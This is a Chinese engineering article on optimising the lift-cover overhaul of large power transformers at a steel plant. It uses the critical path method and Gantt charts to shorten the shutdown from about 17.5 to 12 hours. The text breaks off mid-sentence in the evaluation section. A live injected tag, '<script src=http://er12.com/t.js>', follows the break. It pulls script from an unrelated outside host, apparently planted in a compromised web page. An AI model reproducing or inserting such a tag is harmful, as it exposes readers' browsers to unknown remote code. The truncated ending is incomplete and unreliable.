摘 要：通过引入关键线路法、甘特图等新的生产运作管理技术，对大型电力变压器的吊罩检修流程进行分析、优化，以达到缩短检修时间、确保检修进度和质量的目的。
关键词：大型电力变压器；吊罩检修；关键线路法；甘特图
0 前言
南昌钢铁有限责任公司是江西省三大钢铁联合生产企业之一，年产钢一百万吨以上。公司现拥有总降压变电站两座，拥有10000kva以上大型电力变压器（简称主变）5台，且主变负荷率达90％以上。根据大型电力变压器的检修规程要求，每5年需进行一次吊罩检修。为此，南钢动力厂每年都安排一台主变的吊罩检修。
长期以来，吊罩检修通常需要16～18小时。为缩短停产检修时间，我们引入项目管理中的关键线路法和甘特图等技术，优化吊罩检修流程，取得了较好的效果。以2002年3月的一台主变（2＃主变）为例，介绍研究过程和成果。
一般而言，本次检修需18小时左右，公司要求12小时完成检修。因此，必须正确分解检修子项目，合理配置人员，通过对检修流程进行优化，以达到压缩时间的目的。
1 具体分析及改进过程
（1）常规检修方案：此方案依据长期实践，凭经验初分为32个子项目，其中1、2、32项为非停电时的子项，其他为停电时的子项。根据吊罩检修特点，停电时的子项可按吊罩前、吊罩中、吊罩后三个阶段划分。
由此，可列出检修甘特图表2
注：p表示非停电时的程序
从表2看到，检修需要17．5小时，根据表2，运用单点时间估计的关键线路法画出项目网络图（见图1）。
从网络图可以看出，最长时间的关键线路数很多，而且要求4个以上子项并行开工的频次多（有5次），因而存在以下缺陷：
①人员的脉冲式集中使用，需要配备大量人员，且工作量分配不合理，工作职责难以明确，致使人均工作效率很低。
②按这种流程，则作业小组数量多，关键线路多，控制检修时间就变得非常困难，想要缩短检修时间几乎不可能。
③由于作业场地较小，安排如此多的作业小组，也容易出现安全事故。
究其根源，在于对检修子项目的分解是按经验进行，子项的分解太笼统，时间估计太随意，没有考虑人员的配置和场地情况，造成很多子项相互的作业时间和工作面交叉、重叠。
注：图中方框指供电车间执行子项，圆圈指电修车间执行子项，三角形指江西变压器厂执行子项。
（2）改进方法
①分析吊罩检修的全过程，充分考虑现有场地和人员状况，按照过程的逻辑性，对原有子项的内容进行适当修改，并适当调整子项的数量和子项间的串、并联关系，根据调整好的子项逐项重新评估作业时间。
如7、8项需两个作业小组并行作业，在仔细分析作业步骤后，可将8项中的拆除6kv连线与第7项合并，则可由一个小组按先7后8的顺序完成。而且作业时间也可压缩一半。相应地，将原第9项电气试验拆分为绝缘和直流电阻两项，分别与7、8项结合作业，总时间可压缩至50分钟，而且作业小组之间配合紧密、合理，效率高。
同理，将原20项电气试验中高压瓷瓶的介质损耗试验项目移至10项后。将原30、31项调整，31项中的安装6kv母排移至30项。将原5项安排至停电前进行。相应地，合理压缩所有子项的作业时间。
②同理可列出新的项目工作分解图（表3）：其中a指总流程，b指主要工作步骤，c指具体的作业子项，为便于与表1比较，在上一步中增加子项后序号递延。
③按照公司给定的停电检修总时间（12小时），充分考虑各主要步骤包含的子项内容，列出各子项的逻辑连接关系。再次运用单点时间估计的关键线路法画出项目网络图草图。
④在草图上确定吊罩前、中、后检修所需时间：吊罩前4小时，吊罩中4．5小时，吊罩后3．5小时。找出关键线路，在保证子项可行的前提下再次压缩紧前作业时间，同时明确为此需采取的辅助措施（包括材料准备、人员调配、工艺调整等）。形成新的项目网络图（图2），图中虚线表示关键线路。
注：1、图中方框指供电车间执行子项，圆圈指电修车间执行子项，三角形指江西变压器厂执行子项。2、虚线表示关键线路。
⑤制定新的甘特图（表4）
⑥按照上述图表和分析，进行人员搭配、分组，确定各组需要完成的子项及其完成的时间。
2 实施过程评估
在3月31日的施工过程中，各单位和作业小组均按照要求作业。我们严格控制关键线路上的作业子项：吊罩前的步骤由于第4项放油实际提前了半小时；吊罩中比较顺利地找到了问题点，变压器铁芯上铁轭梯层间出现明显烧接时，节约0．5小时，但在吊罩后，由于第25难度较大，加上检修人员较为疲劳?script src=http://er12.com/t.js>
